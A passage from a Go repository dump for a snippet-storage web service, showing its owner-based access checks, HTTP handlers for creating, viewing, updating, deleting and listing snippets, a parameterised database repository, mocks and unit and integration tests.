range fields { 101 | details = append(details, invalidField{ 102 | Field: field, 103 | Error: errs[field].Error(), 104 | }) 105 | } 106 | return ErrorResponse{ 107 | Status: http.StatusBadRequest, 108 | Message: "Validation error", 109 | Details: details, 110 | } 111 | } 112 | -------------------------------------------------------------------------------- /internal/rbac/rbac.go: -------------------------------------------------------------------------------- 1 | package rbac 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | 7 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 8 | ) 9 | 10 | type RBAC struct{} 11 | 12 | var AccessError = errors.New("accesslog denied") 13 | 14 | func New() RBAC { 15 | return RBAC{} 16 | } 17 | 18 | func (r RBAC) CanViewSnippet(ctx context.Context, snippet entity.Snippet) error { 19 | return r.isOwner(r.GetUserID(ctx), snippet.GetOwnerID()) 20 | } 21 | 22 | func (r RBAC) CanUpdateSnippet(ctx context.Context, snippet entity.Snippet) error { 23 | return r.isOwner(r.GetUserID(ctx), snippet.GetOwnerID()) 24 | 25 | } 26 | 27 | func (r RBAC) CanDeleteSnippet(ctx context.Context, snippet entity.Snippet) error { 28 | return r.isOwner(r.GetUserID(ctx), snippet.GetOwnerID()) 29 | } 30 | 31 | func (r RBAC) isOwner(userID int, ownerID int) error { 32 | if userID == ownerID { 33 | return nil 34 | } 35 | return AccessError 36 | } 37 | 38 | func (r RBAC) GetUserID(ctx context.Context) int { 39 | identity := ctx.Value(entity.JWTCtxKey).(entity.Identity) 40 | return identity.GetID() 41 | } 42 | -------------------------------------------------------------------------------- /internal/snippet/http.go: -------------------------------------------------------------------------------- 1 | package snippet 2 | 3 | import ( 4 | "net/http" 5 | "strconv" 6 | "time" 7 | 8 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 9 | "github.com/splendidalloy/cloud.snippets.ninja/internal/errors" 10 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/query" 11 | routing "github.com/go-ozzo/ozzo-routing/v2" 12 | ) 13 | 14 | type resource struct { 15 | service Service 16 | } 17 | 18 | //NewHTTPHandler - ... 19 | func NewHTTPHandler(router *routing.RouteGroup, jwtAuthHandler routing.Handler, service Service) { 20 | r := resource{ 21 | service: service, 22 | } 23 | router.Use(jwtAuthHandler) 24 | router.Get("/snippets/", r.view) 25 | router.Post("/snippets", r.create) 26 | router.Put("/snippets/", r.update) 27 | router.Delete("/snippets/", r.delete) 28 | router.Get("/snippets", r.list) 29 | router.Get("/snippets/tags", r.tags) 30 | } 31 | 32 | func (r resource) view(c *routing.Context) error { 33 | id, err := strconv.Atoi(c.Param("id")) 34 | if err != nil { 35 | return err 36 | } 37 | snippet, err := r.service.GetByID(c.Request.Context(), id) 38 | if err != nil { 39 | return err 40 | } 41 | return c.Write(snippet) 42 | } 43 | 44 | func (r resource) create(c *routing.Context) error { 45 | identity := c.Request.Context().Value(entity.JWTCtxKey).(entity.Identity) 46 | request := snippet{} 47 | if err := c.Read(&request); err != nil { 48 | return err 49 | } 50 | if err := request.validate(); err != nil { 51 | return err 52 | } 53 | snippet := entity.Snippet{ 54 | UserID: identity.GetID(), 55 | Favorite: request.Favorite.Value, 56 | AccessLevel: request.AccessLevel, 57 | Title: request.Title, 58 | Content: request.Content, 59 | Tags: request.Tags, 60 | Language: request.Language, 61 | CustomEditorOptions: request.CustomEditorOptions, 62 | CreatedAt: time.Now(), 63 | UpdatedAt: time.Now(), 64 | } 65 | snippet, err := r.service.Create(c.Request.Context(), snippet) 66 | if err != nil { 67 | return err 68 | } 69 | return c.WriteWithStatus(snippet, http.StatusCreated) 70 | } 71 | 72 | func (r resource) update(c *routing.Context) error { 73 | id, err := strconv.Atoi(c.Param("id")) 74 | if err != nil { 75 | return err 76 | } 77 | identity := c.Request.Context().Value(entity.JWTCtxKey).(entity.Identity) 78 | request := snippet{} 79 | if err := c.Read(&request); err != nil { 80 | return err 81 | } 82 | if err := request.validate(); err != nil { 83 | return err 84 | } 85 | snippet := entity.Snippet{ 86 | ID: id, 87 | UserID: identity.GetID(), 88 | Favorite: request.Favorite.Value, 89 | AccessLevel: request.AccessLevel, 90 | Title: request.Title, 91 | Content: request.Content, 92 | Tags: request.Tags, 93 | Language: request.Language, 94 | CustomEditorOptions: request.CustomEditorOptions, 95 | UpdatedAt: time.Now(), 96 | } 97 | response, err := r.service.Update(c.Request.Context(), snippet) 98 | if err != nil { 99 | return err 100 | } 101 | return c.Write(response) 102 | } 103 | 104 | func (r resource) delete(c *routing.Context) error { 105 | id, err := strconv.Atoi(c.Param("id")) 106 | if err != nil { 107 | return err 108 | } 109 | err = r.service.Delete(c.Request.Context(), id) 110 | if err != nil { 111 | return err 112 | } 113 | return c.Write("") 114 | } 115 | 116 | type listResponse struct { 117 | Items []entity.Snippet `json:"items"` 118 | Page int `json:"page"` 119 | Limit int `json:"limit"` 120 | TotalItems int `json:"total_items"` 121 | TotalPages int `json:"total_pages"` 122 | } 123 | 124 | func (r resource) list(c *routing.Context) error { 125 | request := newList() 126 | identity := c.Request.Context().Value(entity.JWTCtxKey).(entity.Identity) 127 | if err := c.Read(&request); err != nil { 128 | return errors.BadRequest("") 129 | } 130 | if err := request.validate(); err != nil { 131 | return err 132 | } 133 | 134 | filter := request.filterConditions() 135 | total, err := r.service.CountByUserID(c.Request.Context(), identity.GetID(), filter) 136 | if err != nil { 137 | return err 138 | } 139 | pagination := query.NewPagination(request.Page, request.Limit) 140 | sort := query.NewSort(request.SortBy, request.OrderBy) 141 | snippets, err := r.service.QueryByUserID(c.Request.Context(), identity.GetID(), filter, sort, pagination) 142 | if err != nil { 143 | return err 144 | } 145 | return c.Write(listResponse{ 146 | Items: snippets, 147 | Page: pagination.GetPage(), 148 | Limit: pagination.GetLimit(), 149 | TotalItems: total, 150 | TotalPages: (total + pagination.GetLimit() - 1) / pagination.GetLimit(), 151 | }) 152 | } 153 | 154 | func (r resource) tags(c *routing.Context) error { 155 | identity := c.Request.Context().Value(entity.JWTCtxKey).(entity.Identity) 156 | tags, err := r.service.GetTags(c.Request.Context(), identity.GetID()) 157 | if err != nil { 158 | return err 159 | } 160 | return c.Write(tags) 161 | } 162 | -------------------------------------------------------------------------------- /internal/snippet/http_test.go: -------------------------------------------------------------------------------- 1 | package snippet 2 | 3 | import ( 4 | "context" 5 | "database/sql" 6 | "net/http" 7 | "testing" 8 | 9 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 10 | "github.com/splendidalloy/cloud.snippets.ninja/internal/rbac" 11 | "github.com/splendidalloy/cloud.snippets.ninja/internal/test" 12 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/query" 13 | ) 14 | 15 | func TestHTTP_View(t *testing.T) { 16 | cases := []struct { 17 | name string 18 | request test.APITestCase 19 | repository Repository 20 | rbac RBAC 21 | }{ 22 | { 23 | name: "user can view own snippet", 24 | request: test.APITestCase{ 25 | Method: http.MethodGet, 26 | URL: "/snippets/1", 27 | Body: "", 28 | Header: test.MockAuthHeader(), 29 | WantStatus: http.StatusOK, 30 | WantResponse: "", 31 | }, 32 | repository: RepositoryMock{ 33 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 34 | return entity.Snippet{ 35 | ID: 1, 36 | UserID: 1, 37 | Favorite: false, 38 | AccessLevel: 0, 39 | Title: "test", 40 | Content: "test", 41 | Language: "go", 42 | CustomEditorOptions: entity.CustomEditorOptions{}, 43 | CreatedAt: test.Time(2020), 44 | UpdatedAt: test.Time(2021), 45 | }, nil 46 | }, 47 | }, 48 | rbac: test.RBACMock{ 49 | CanViewSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 50 | return nil 51 | }, 52 | }, 53 | }, 54 | { 55 | name: "user can't view snippet", 56 | request: test.APITestCase{ 57 | Method: http.MethodGet, 58 | URL: "/snippets/1", 59 | Body: "", 60 | Header: test.MockAuthHeader(), 61 | WantStatus: http.StatusForbidden, 62 | WantResponse: "", 63 | }, 64 | repository: RepositoryMock{ 65 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 66 | return entity.Snippet{ 67 | ID: 1, 68 | UserID: 2, 69 | Favorite: false, 70 | AccessLevel: 0, 71 | Title: "test", 72 | Content: "test", 73 | Language: "go", 74 | CustomEditorOptions: entity.CustomEditorOptions{}, 75 | CreatedAt: test.Time(2020), 76 | UpdatedAt: test.Time(2021), 77 | }, nil 78 | }, 79 | }, 80 | rbac: test.RBACMock{ 81 | CanViewSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 82 | return rbac.AccessError 83 | }, 84 | }, 85 | }, 86 | { 87 | name: "repository error", 88 | request: test.APITestCase{ 89 | Method: http.MethodGet, 90 | URL: "/snippets/1", 91 | Body: "", 92 | Header: test.MockAuthHeader(), 93 | WantStatus: http.StatusInternalServerError, 94 | WantResponse: "", 95 | }, 96 | repository: RepositoryMock{ 97 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 98 | return entity.Snippet{}, repositoryMockErr 99 | }, 100 | }, 101 | rbac: test.RBACMock{ 102 | CanViewSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 103 | return nil 104 | }, 105 | }, 106 | }, 107 | } 108 | 109 | for _, tc := range cases { 110 | router := test.MockRouter() 111 | service := NewService(tc.repository, tc.rbac) 112 | NewHTTPHandler(router.Group(""), test.MockAuthMiddleware, service) 113 | test.Endpoint(t, tc.name, router, tc.request) 114 | } 115 | } 116 | 117 | func TestHTTP_Create(t *testing.T) { 118 | cases := []struct { 119 | name string 120 | request test.APITestCase 121 | repository Repository 122 | rbac RBAC 123 | }{ 124 | { 125 | name: "user can create snippet", 126 | request: test.APITestCase{ 127 | Method: http.MethodPost, 128 | URL: "/snippets", 129 | Body: `{"favorite":false, "access_level":0,"title": "test"}`, 130 | Header: test.MockAuthHeader(), 131 | WantStatus: http.StatusCreated, 132 | WantResponse: "*test*", 133 | }, 134 | repository: RepositoryMock{ 135 | CreateFn: func(ctx context.Context, snippet entity.Snippet) (entity.Snippet, error) { 136 | return entity.Snippet{ 137 | ID: 1, 138 | UserID: 1, 139 | Favorite: false, 140 | AccessLevel: 0, 141 | Title: "test", 142 | Content: "test", 143 | Language: "test", 144 | CustomEditorOptions: entity.CustomEditorOptions{}, 145 | CreatedAt: test.Time(2021), 146 | UpdatedAt: test.Time(2021), 147 | }, nil 148 | }, 149 | }, 150 | rbac: test.RBACMock{}, 151 | }, 152 | { 153 | name: "request validation error", 154 | request: test.APITestCase{ 155 | Method: http.MethodPost, 156 | URL: "/snippets", 157 | Body: `{"favorite":false, "access_level":4,"title": "test"}`, 158 | Header: test.MockAuthHeader(), 159 | WantStatus: http.StatusBadRequest, 160 | WantResponse: "", 161 | }, 162 | repository: RepositoryMock{ 163 | CreateFn: func(ctx context.Context, snippet entity.Snippet) (entity.Snippet, error) { 164 | return entity.Snippet{ 165 | ID: 1, 166 | UserID: 1, 167 | Favorite: false, 168 | AccessLevel: 0, 169 | Title: "test", 170 | Content: "test", 171 | Language: "test", 172 | CustomEditorOptions: entity.CustomEditorOptions{}, 173 | CreatedAt: test.Time(2021), 174 | UpdatedAt: test.Time(2021), 175 | }, nil 176 | }, 177 | }, 178 | rbac: test.RBACMock{}, 179 | }, 180 | { 181 | name: "repository error", 182 | request: test.APITestCase{ 183 | Method: http.MethodPost, 184 | URL: "/snippets", 185 | Body: `{"favorite":false, "access_level":0,"title": "test"}`, 186 | Header: test.MockAuthHeader(), 187 | WantStatus: http.StatusInternalServerError, 188 | WantResponse: "", 189 | }, 190 | repository: RepositoryMock{ 191 | CreateFn: func(ctx context.Context, snippet entity.Snippet) (entity.Snippet, error) { 192 | return entity.Snippet{}, repositoryMockErr 193 | }, 194 | }, 195 | rbac: test.RBACMock{}, 196 | }, 197 | } 198 | 199 | for _, tc := range cases { 200 | router := test.MockRouter() 201 | service := NewService(tc.repository, tc.rbac) 202 | NewHTTPHandler(router.Group(""), test.MockAuthMiddleware, service) 203 | test.Endpoint(t, tc.name, router, tc.request) 204 | } 205 | } 206 | 207 | func TestHTTP_Update(t *testing.T) { 208 | cases := []struct { 209 | name string 210 | request test.APITestCase 211 | repository Repository 212 | rbac RBAC 213 | }{ 214 | { 215 | name: "user can update snippet", 216 | request: test.APITestCase{ 217 | Method: http.MethodPut, 218 | URL: "/snippets/1", 219 | Body: `{"favorite":false, "access_level":0,"title": "this is new test"}`, 220 | Header: test.MockAuthHeader(), 221 | WantStatus: http.StatusOK, 222 | WantResponse: "*this is new test*", 223 | }, 224 | repository: RepositoryMock{ 225 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 226 | return entity.Snippet{ 227 | ID: 1, 228 | UserID: 1, 229 | Favorite: false, 230 | AccessLevel: 0, 231 | Title: "test", 232 | Content: "test", 233 | Language: "test", 234 | CustomEditorOptions: entity.CustomEditorOptions{}, 235 | CreatedAt: test.Time(2020), 236 | UpdatedAt: test.Time(2021), 237 | }, nil 238 | }, 239 | 240 | UpdateFn: func(ctx context.Context, snippet entity.Snippet) error { 241 | return nil 242 | }, 243 | }, 244 | rbac: test.RBACMock{ 245 | CanUpdateSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 246 | return nil 247 | }, 248 | }, 249 | }, 250 | { 251 | name: "user can't update snippet, permission error", 252 | request: test.APITestCase{ 253 | Method: http.MethodPut, 254 | URL: "/snippets/1", 255 | Body: `{"favorite":false, "access_level":0,"title": "this is new test"}`, 256 | Header: test.MockAuthHeader(), 257 | WantStatus: http.StatusForbidden, 258 | WantResponse: "", 259 | }, 260 | repository: RepositoryMock{ 261 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 262 | return entity.Snippet{ 263 | ID: 1, 264 | UserID: 1, 265 | Favorite: false, 266 | AccessLevel: 0, 267 | Title: "test", 268 | Content: "test", 269 | Language: "test", 270 | CustomEditorOptions: entity.CustomEditorOptions{}, 271 | CreatedAt: test.Time(2020), 272 | UpdatedAt: test.Time(2021), 273 | }, nil 274 | }, 275 | 276 | UpdateFn: func(ctx context.Context, snippet entity.Snippet) error { 277 | return nil 278 | }, 279 | }, 280 | rbac: test.RBACMock{ 281 | CanUpdateSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 282 | return rbac.AccessError 283 | }, 284 | }, 285 | }, 286 | { 287 | name: "404", 288 | request: test.APITestCase{ 289 | Method: http.MethodPut, 290 | URL: "/snippets/1", 291 | Body: `{"favorite":false, "access_level":0,"title": "this is new test"}`, 292 | Header: test.MockAuthHeader(), 293 | WantStatus: http.StatusNotFound, 294 | WantResponse: "", 295 | }, 296 | repository: RepositoryMock{ 297 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 298 | return entity.Snippet{}, sql.ErrNoRows 299 | }, 300 | 301 | UpdateFn: func(ctx context.Context, snippet entity.Snippet) error { 302 | return nil 303 | }, 304 | }, 305 | rbac: test.RBACMock{ 306 | CanUpdateSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 307 | return nil 308 | }, 309 | }, 310 | }, 311 | { 312 | name: "repository error", 313 | request: test.APITestCase{ 314 | Method: http.MethodPut, 315 | URL: "/snippets/1", 316 | Body: `{"favorite":false, "access_level":0,"title": "this is new test"}`, 317 | Header: test.MockAuthHeader(), 318 | WantStatus: http.StatusInternalServerError, 319 | WantResponse: "", 320 | }, 321 | repository: RepositoryMock{ 322 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 323 | return entity.Snippet{}, repositoryMockErr 324 | }, 325 | 326 | UpdateFn: func(ctx context.Context, snippet entity.Snippet) error { 327 | return nil 328 | }, 329 | }, 330 | rbac: test.RBACMock{ 331 | CanUpdateSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 332 | return nil 333 | }, 334 | }, 335 | }, 336 | } 337 | for _, tc := range cases { 338 | router := test.MockRouter() 339 | service := NewService(tc.repository, tc.rbac) 340 | NewHTTPHandler(router.Group(""), test.MockAuthMiddleware, service) 341 | test.Endpoint(t, tc.name, router, tc.request) 342 | } 343 | } 344 | 345 | func TestHTTP_Delete(t *testing.T) { 346 | cases := []struct { 347 | name string 348 | request test.APITestCase 349 | repository Repository 350 | rbac RBAC 351 | }{ 352 | { 353 | name: "user can delete", 354 | request: test.APITestCase{ 355 | Method: http.MethodDelete, 356 | URL: "/snippets/1", 357 | Body: "", 358 | Header: test.MockAuthHeader(), 359 | WantStatus: http.StatusOK, 360 | WantResponse: "", 361 | }, 362 | repository: RepositoryMock{ 363 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 364 | return entity.Snippet{ 365 | ID: 1, 366 | UserID: 1, 367 | Favorite: false, 368 | AccessLevel: 0, 369 | Title: "test", 370 | Content: "test", 371 | Language: "test", 372 | CustomEditorOptions: entity.CustomEditorOptions{}, 373 | CreatedAt: test.Time(2020), 374 | UpdatedAt: test.Time(2021), 375 | }, nil 376 | }, 377 | DeleteFn: func(ctx context.Context, snippet entity.Snippet) error { 378 | return nil 379 | }, 380 | }, 381 | rbac: test.RBACMock{ 382 | CanDeleteSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 383 | return nil 384 | }, 385 | }, 386 | }, 387 | { 388 | name: "permission error", 389 | request: test.APITestCase{ 390 | Method: http.MethodDelete, 391 | URL: "/snippets/1", 392 | Body: "", 393 | Header: test.MockAuthHeader(), 394 | WantStatus: http.StatusForbidden, 395 | WantResponse: "", 396 | }, 397 | repository: RepositoryMock{ 398 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 399 | return entity.Snippet{ 400 | ID: 1, 401 | UserID: 1, 402 | Favorite: false, 403 | AccessLevel: 0, 404 | Title: "test", 405 | Content: "test", 406 | Language: "test", 407 | CustomEditorOptions: entity.CustomEditorOptions{}, 408 | CreatedAt: test.Time(2020), 409 | UpdatedAt: test.Time(2021), 410 | }, nil 411 | }, 412 | DeleteFn: func(ctx context.Context, snippet entity.Snippet) error { 413 | return nil 414 | }, 415 | }, 416 | rbac: test.RBACMock{ 417 | CanDeleteSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 418 | return rbac.AccessError 419 | }, 420 | }, 421 | }, 422 | { 423 | name: "repository error", 424 | request: test.APITestCase{ 425 | Method: http.MethodDelete, 426 | URL: "/snippets/1", 427 | Body: "", 428 | Header: test.MockAuthHeader(), 429 | WantStatus: http.StatusInternalServerError, 430 | WantResponse: "", 431 | }, 432 | repository: RepositoryMock{ 433 | GetByIDFn: func(ctx context.Context, id int) (entity.Snippet, error) { 434 | return entity.Snippet{}, repositoryMockErr 435 | }, 436 | DeleteFn: func(ctx context.Context, snippet entity.Snippet) error { 437 | return nil 438 | }, 439 | }, 440 | rbac: test.RBACMock{ 441 | CanDeleteSnippetFn: func(ctx context.Context, snippet entity.Snippet) error { 442 | return rbac.AccessError 443 | }, 444 | }, 445 | }, 446 | } 447 | for _, tc := range cases { 448 | router := test.MockRouter() 449 | service := NewService(tc.repository, tc.rbac) 450 | NewHTTPHandler(router.Group(""), test.MockAuthMiddleware, service) 451 | test.Endpoint(t, tc.name, router, tc.request) 452 | } 453 | } 454 | 455 | func TestHTTP_List(t *testing.T) { 456 | cases := []struct { 457 | name string 458 | request test.APITestCase 459 | repository Repository 460 | rbac RBAC 461 | }{ 462 | { 463 | name: "user cat filter snippet", 464 | request: test.APITestCase{ 465 | Method: http.MethodGet, 466 | URL: "/snippets?favorite=true", 467 | Body: "", 468 | Header: test.MockAuthHeader(), 469 | WantStatus: http.StatusOK, 470 | WantResponse: "*test snippet*", 471 | }, 472 | repository: RepositoryMock{ 473 | QueryByUserIDFn: func(ctx context.Context, userID int, filter map[string]string, sort query.Sort, pagination query.Pagination) ([]entity.Snippet, error) { 474 | return []entity.Snippet{ 475 | { 476 | ID: 1, 477 | UserID: 1, 478 | Favorite: false, 479 | AccessLevel: 0, 480 | Title: "test snippet", 481 | Content: "test", 482 | Language: "php", 483 | CustomEditorOptions: entity.CustomEditorOptions{}, 484 | CreatedAt: test.Time(2020), 485 | UpdatedAt: test.Time(2021), 486 | }, 487 | }, nil 488 | }, 489 | CountByUserIDFn: func(ctx context.Context, userID int, filter map[string]string) (int, error) { 490 | return 0, nil 491 | }, 492 | }, 493 | rbac: test.RBACMock{}, 494 | }, 495 | { 496 | name: "repository error", 497 | request: test.APITestCase{ 498 | Method: http.MethodGet, 499 | URL: "/snippets?favorite=true", 500 | Body: "", 501 | Header: test.MockAuthHeader(), 502 | WantStatus: http.StatusInternalServerError, 503 | WantResponse: "", 504 | }, 505 | repository: RepositoryMock{ 506 | QueryByUserIDFn: func(ctx context.Context, userID int, filter map[string]string, sort query.Sort, pagination query.Pagination) ([]entity.Snippet, error) { 507 | return []entity.Snippet{}, repositoryMockErr 508 | }, 509 | CountByUserIDFn: func(ctx context.Context, userID int, filter map[string]string) (int, error) { 510 | return 0, nil 511 | }, 512 | }, 513 | rbac: test.RBACMock{}, 514 | }, 515 | } 516 | for _, tc := range cases { 517 | router := test.MockRouter() 518 | service := NewService(tc.repository, tc.rbac) 519 | NewHTTPHandler(router.Group(""), test.MockAuthMiddleware, service) 520 | test.Endpoint(t, tc.name, router, tc.request) 521 | } 522 | } 523 | -------------------------------------------------------------------------------- /internal/snippet/repository.go: -------------------------------------------------------------------------------- 1 | package snippet 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "fmt" 7 | "strings" 8 | 9 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 10 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/dbcontext" 11 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/query" 12 | dbx "github.com/go-ozzo/ozzo-dbx" 13 | ) 14 | 15 | type repository struct { 16 | db *dbcontext.DB 17 | } 18 | 19 | func NewRepository(db *dbcontext.DB) Repository { 20 | return repository{ 21 | db: db, 22 | } 23 | } 24 | 25 | func (r repository) GetByID(ctx context.Context, id int) (entity.Snippet, error) { 26 | var snippet entity.Snippet 27 | err := r.db.With(ctx).Select().Where(dbx.HashExp{"id": id}).One(&snippet) 28 | return snippet, err 29 | } 30 | 31 | func (r repository) QueryByUserID(ctx context.Context, userID int, filter map[string]string, sort query.Sort, pagination query.Pagination) ([]entity.Snippet, error) { 32 | var snippets []entity.Snippet 33 | query := r.db.With(ctx).Select().Where(dbx.HashExp{"user_id": userID}) 34 | query.Limit(int64(pagination.GetLimit())).Offset(int64(pagination.GetOffset())) 35 | for field, value := range filter { 36 | expression, err := r.buildExpression(field, value) 37 | if err != nil { 38 | return snippets, err 39 | } 40 | query.AndWhere(expression) 41 | } 42 | query.OrderBy(sort.GetSortBy() + " " + sort.GetOrderBy()) 43 | err := query.All(&snippets) 44 | return snippets, err 45 | } 46 | 47 | func (r repository) Create(ctx context.Context, snippet entity.Snippet) (entity.Snippet, error) { 48 | err := r.db.With(ctx).Model(&snippet).Insert() 49 | return snippet, err 50 | } 51 | 52 | func (r repository) Update(ctx context.Context, snippet entity.Snippet) error { 53 | return r.db.With(ctx).Model(&snippet).Exclude("ID", "UserID", "CreatedAt").Update() 54 | } 55 | 56 | func (r repository) Delete(ctx context.Context, snippet entity.Snippet) error { 57 | return r.db.With(ctx).Model(&snippet).Delete() 58 | } 59 | 60 | func (r repository) CountByUserID(ctx context.Context, userID int, filter map[string]string) (int, error) { 61 | var count int 62 | query := r.db.With(ctx).Select("COUNT(*)").From("snippets").Where(dbx.HashExp{"user_id": userID}) 63 | for field, value := range filter { 64 | expression, err := r.buildExpression(field, value) 65 | if err != nil { 66 | return 0, err 67 | } 68 | query.AndWhere(expression) 69 | } 70 | err := query.Row(&count) 71 | return count, err 72 | } 73 | 74 | func (r repository) GetTags(ctx context.Context, userID int) (entity.Tags, error) { 75 | tags := entity.Tags{} 76 | q := r.db.With(ctx).NewQuery("SELECT DISTINCT user_tags " + 77 | "FROM snippets, json_table(snippets.tags, '$[*]' columns (user_tags varchar(100) path '$')) r " + 78 | "WHERE user_id = {:userID}").Bind(dbx.Params{ 79 | "userID": userID, 80 | }) 81 | err := q.Column(&tags) 82 | return tags, err 83 | } 84 | 85 | func (r repository) buildExpression(key string, value string) (dbx.Expression, error) { 86 | var expression dbx.Expression 87 | var err error 88 | switch key { 89 | case "favorite", "access_level", "language": 90 | expression = dbx.HashExp{key: value} 91 | break 92 | case "title": 93 | expression = dbx.NewExp("MATCH (title,content) AGAINST ({:keywords} IN BOOLEAN MODE)", dbx.Params{"keywords": value + "*"}) 94 | break 95 | case "tags": 96 | tags := strings.Split(value, ",") 97 | conditions := []string{} 98 | sql := "" 99 | bindParams := dbx.Params{} 100 | for index, tag := range tags { 101 | bindKey := fmt.Sprintf("s_tag%d", index) 102 | bindParams[bindKey] = tag 103 | conditions = append(conditions, fmt.Sprintf("JSON_SEARCH(tags, 'one', {:%s})", bindKey)) 104 | } 105 | sql = strings.Join(conditions, " OR ") 106 | expression = dbx.NewExp(sql, bindParams) 107 | break 108 | default: 109 | err = errors.New("Undefined filter key") 110 | break 111 | } 112 | return expression, err 113 | } 114 | -------------------------------------------------------------------------------- /internal/snippet/repository_mock.go: -------------------------------------------------------------------------------- 1 | package snippet 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | 7 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 8 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/query" 9 | ) 10 | 11 | var repositoryMockErr = errors.New("error repository") 12 | 13 | type RepositoryMock struct { 14 | QueryByUserIDFn func(ctx context.Context, userID int, filter map[string]string, sort query.Sort, pagination query.Pagination) ([]entity.Snippet, error) 15 | GetByIDFn func(ctx context.Context, id int) (entity.Snippet, error) 16 | CreateFn func(ctx context.Context, snippet entity.Snippet) (entity.Snippet, error) 17 | UpdateFn func(ctx context.Context, snippet entity.Snippet) error 18 | DeleteFn func(ctx context.Context, snippet entity.Snippet) error 19 | CountByUserIDFn func(ctx context.Context, userID int, filter map[string]string) (int, error) 20 | GetTagsFn func(ctx context.Context, userID int) (entity.Tags, error) 21 | } 22 | 23 | func (r RepositoryMock) QueryByUserID(ctx context.Context, userID int, filter map[string]string, sort query.Sort, pagination query.Pagination) ([]entity.Snippet, error) { 24 | return r.QueryByUserIDFn(ctx, userID, filter, sort, pagination) 25 | } 26 | 27 | func (r RepositoryMock) GetByID(ctx context.Context, id int) (entity.Snippet, error) { 28 | return r.GetByIDFn(ctx, id) 29 | } 30 | 31 | func (r RepositoryMock) Create(ctx context.Context, snippet entity.Snippet) (entity.Snippet, error) { 32 | return r.CreateFn(ctx, snippet) 33 | } 34 | 35 | func (r RepositoryMock) Update(ctx context.Context, snippet entity.Snippet) error { 36 | return r.UpdateFn(ctx, snippet) 37 | } 38 | 39 | func (r RepositoryMock) Delete(ctx context.Context, snippet entity.Snippet) error { 40 | return r.DeleteFn(ctx, snippet) 41 | } 42 | 43 | func (r RepositoryMock) CountByUserID(ctx context.Context, userID int, filter map[string]string) (int, error) { 44 | return r.CountByUserIDFn(ctx, userID, filter) 45 | } 46 | 47 | func (r RepositoryMock) GetTags(ctx context.Context, userID int) (entity.Tags, error) { 48 | return r.GetTagsFn(ctx, userID) 49 | } 50 | -------------------------------------------------------------------------------- /internal/snippet/repository_test.go: -------------------------------------------------------------------------------- 1 | // +build integration 2 | 3 | package snippet 4 | 5 | import ( 6 | "context" 7 | "testing" 8 | "time" 9 | 10 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 11 | "github.com/splendidalloy/cloud.snippets.ninja/internal/test" 12 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/dbcontext" 13 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/query" 14 | "github.com/stretchr/testify/assert" 15 | ) 16 | 17 | var db *dbcontext.DB 18 | var r Repository 19 | var table = "snippets" 20 | 21 | func TestRepository_Main(t *testing.T) { 22 | t.Logf("\033[35m" + "Testing Snippet Repository" + "\033[0m") 23 | db = test.Database(t) 24 | test.TruncateTable(t, db, table) 25 | r = NewRepository(db) 26 | } 27 | 28 | func TestRepository_Create(t *testing.T) { 29 | snippet := entity.Snippet{ 30 | ID: 1, 31 | UserID: 1, 32 | Favorite: false, 33 | AccessLevel: 0, 34 | Title: "Test Snippet", 35 | Content: "", 36 | Language: "txt", 37 | CustomEditorOptions: entity.CustomEditorOptions{}, 38 | CreatedAt: time.Now(), 39 | UpdatedAt: time.Now(), 40 | } 41 | response, err := r.Create(context.Background(), snippet) 42 | assert.Nil(t, err) 43 | assert.NotEmpty(t, response) 44 | assert.Equal(t, snippet, response) 45 | } 46 | 47 | func TestRepository_GetByID(t *testing.T) { 48 | snippet, err := r.GetByID(context.Background(), 1) 49 | assert.NotEmpty(t, snippet) 50 | assert.Nil(t, err) 51 | } 52 | 53 | func TestRepository_Update(t *testing.T) { 54 | snippet := entity.Snippet{ 55 | ID: 1, 56 | UserID: 1, 57 | Favorite: true, 58 | AccessLevel: 1, 59 | Title: "New title", 60 | Content: "New text", 61 | Language: "php", 62 | CustomEditorOptions: entity.CustomEditorOptions{ 63 | Theme: "default", 64 | }, 65 | UpdatedAt: time.Now(), 66 | } 67 | err := r.Update(context.Background(), snippet) 68 | assert.Nil(t, err) 69 | updated, err := r.GetByID(context.Background(), 1) 70 | assert.Nil(t, err) 71 | assert.Equal(t, snippet.ID, updated.ID) 72 | assert.Equal(t, snippet.UserID, updated.UserID) 73 | assert.Equal(t, snippet.Favorite, updated.Favorite) 74 | assert.Equal(t, snippet.AccessLevel, updated.AccessLevel) 75 | assert.Equal(t, snippet.Title, updated.Title) 76 | assert.Equal(t, snippet.Content, updated.Content) 77 | assert.Equal(t, snippet.Language, updated.Language) 78 | assert.Equal(t, snippet.CustomEditorOptions, updated.CustomEditorOptions) 79 | //assert.Equal(t, snippet.UpdatedAt, updated.UpdatedAt) 80 | 81 | } 82 | 83 | func TestRepository_Count(t *testing.T) { 84 | 